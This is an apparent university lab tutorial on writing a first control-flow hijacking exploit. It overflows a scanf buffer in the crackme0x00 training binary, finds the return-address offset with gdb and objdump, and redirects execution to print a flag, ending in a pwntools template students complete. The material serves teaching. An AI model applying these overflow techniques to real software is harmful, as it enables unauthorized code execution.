Tut03: Writing Your First Exploit

In this tutorial, you will learn, for the first time, how to write a control-flow hijacking attack that exploits a buffer overflow vulnerability.

Step 0: Triggering a buffer overflow

Do you remember the crackme binaries (and its password)?

# login to the CTF server
# ** check Canvas for login information! **
[host] $ ssh lab03@<ctf-server-address>

$ cd tut03-stackovfl
$ ./crackme0x00
IOLI Crackme Level 0x00
Password:

If you disassemble the binary (it's good time to fire Ghidra!), you may see these code snippet:

$ objdump -M intel-mnemonic -d crackme0x00
  
...
80486c6:       8d 45 e8                lea    eax,[ebp-0x18]
80486c9:       50                      push   eax
80486ca:       68 31 88 04 08          push   0x8048831
80486cf:       e8 ac fd ff ff          call   8048480 <scanf@plt>
...

What's the value of 0x8048831? Yes, %s, which means the scanf() function gets a string as an argument on -0x18(%ebp) location.

What happens if you inject a long string? Like below.

$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Segmentation fault

Step 1: Understanding crashing state

There are a few ways to check the status of the last segmentation fault:

Note. /tmp/input should be your secret file under /tmp!

  1. running gdb

    $ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /tmp/input
    $ gdb ./crackme0x00
    > run </tmp/input
    Starting program: ./crackme0x00 </tmp/input
    IOLI Crackme Level 0x00
    Password: Invalid Password!
    
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    
  2. checking logging messages (if you are working on your local machine)

    $ dmesg | tail -1
    [237413.117757] crackme0x00[353]: segfault at 41414141 ip 0000000041414141 sp 00000000ff92aef0
    error 14 in libc-2.24.so[f7578000+1b3000]
    
    * NOTE: We disable dmesg for the class.
            You will be able to run dmesg from your local environment.
    

    Let's figure out which input tainted the instruction pointer.

    $ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > /tmp/input
    $ ./crackme0x00 < /tmp/input
    $ dmesg | tail -1
    [238584.915883] crackme0x00[1095]: segfault at 48484848 ip 0000000048484848 sp 00000000ffc32f80
    error 14 in libc-2.24.s
    

    What's the current instruction pointer? You might need this help:

    $ man ascii
    

    You can also figure out the exact shape of the stack frame by looking at the instructions as well.

    $ objdump -M intel-mnemonic -d crackme0x00
    ...
    0804869d <start>:
    804869d:       55                      push   ebp
    804869e:       89 e5                   mov    ebp,esp
    80486a0:       83 ec 18                sub    esp,0x18
    80486a3:       83 ec 0c                sub    esp,0xc
    ...
    80486c6:       8d 45 e8                lea    eax,[ebp-0x18]
    80486c9:       50                      push   eax
    80486ca:       68 31 88 04 08          push   0x8048831
    80486cf:       e8 ac fd ff ff          call   8048480 <scanf@plt>
    ...
    
                |<-- -0x18-->|+--- ebp
     top                     v
     [          [buf ..  ]   ][fp][ra]
     |<----  0x18+0xc ------>|
    

    0x18 + 4 = 28, which is exactly the length of AAAABBBBCCCCDDDDEEEEFFFFGGGG the following HHHH will cover the ra.

Step 2: Hijacking the control flow

In this tutorial, we are going to hijack the control flow of ./crackme0x00 by overwriting the instruction pointer. As a first step, let's make it print out Password OK :) without putting the correct password!

   80486e3:       e8 38 fd ff ff          call   8048420 <strcmp@plt>
   80486e8:       83 c4 10                add    esp,0x10
   80486eb:       85 c0                   test   eax,eax
   80486ed:       75 3a                   jne    8048729 <start+0x8c>
   80486ef:       83 ec 0c                sub    esp,0xc
-> 80486f2:       68 5e 88 04 08          push   0x804885e
   80486f7:       e8 74 fd ff ff          call   8048470 <puts@plt>
   ...
   804872c:       68 92 88 04 08          push   0x8048892
   8048731:       e8 3a fd ff ff          call   8048470 <puts@plt>
   8048736:       83 c4 10                add    esp,0x10

We are going to jump to 0x80486f2 such that it prints out Password OK :). Which characters in input should be changed to 0x80486f2? Let me remind you that x86 is a little-endian machine.

$ hexedit /tmp/input

C-x will save your modification.

$ cat /tmp/input | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Password OK :)
Segmentation fault

Step 3: Using Python template for exploit

Today's task is to modify a python template for exploitation. Please edit the provided python script (exploit.py) to hijack the control flow of crackme0x00! Most importantly, please hijack the control flow to print out your flag in this unreachable code of the binary.

   // Your input should be "250381" and "no way you can reach!" at the
   // same time! to get the flag.

   8048706:       68 4d 88 04 08          push   0x804884d
   804870b:       8d 45 f0                lea    eax,[ebp-0x10]
   804870e:       50                      push   eax
   804870f:       e8 0c fd ff ff          call   8048420 <strcmp@plt>
   8048714:       83 c4 08                add    esp,0x8
   8048717:       85 c0                   test   eax,eax
   8048719:       75 1c                   jne    8048737 <start+0x84>
-> 804871b:       68 63 88 04 08          push   0x8048863
   8048720:       e8 d1 fe ff ff          call   80485f6 <print_key>

In this template, we will start utilizing pwntools, which provides a set of libraries and tools to help writing exploits. Although we will cover the detail of pwntool in the next tutorial, you can have a glimpse of how it looks.

#!/usr/bin/env python2

import os
import sys

# import a set of variables/functions from pwntools into own namespace
# for easy accesses
from pwn import *

if __name__ == '__main__':

    # p32/64 for 'packing' 32 or 64 bit
    # so given an integer, it returns a packed (i.e., encoded) bytestring
    assert p32(0x12345678) == b'\x00\x00\x00\x00'                 # Q1
    assert p64(0x12345678) == b'\x00\x00\x00\x00\x00\x00\x00\x00' # Q2

    payload = "Q3. your input here"

    # launch a process (with no argument)
    p = process(["./crackme0x00"])

    # send an input payload to the process
    p.send(payload + "\n")

    # make it interactive, meaning that we can interact with 
    # the process's input/output (via pseudo terminal)
    p.interactive()

To make this exploit working, you have to modify Q1-3 in the template.

If you'd like to practice more, can you make the exploit to gracefully exit the program after hijacking its control multiple times?

[Task] Modify the given template (exploit.py) to hijack the control flow, and print out the key.

Reference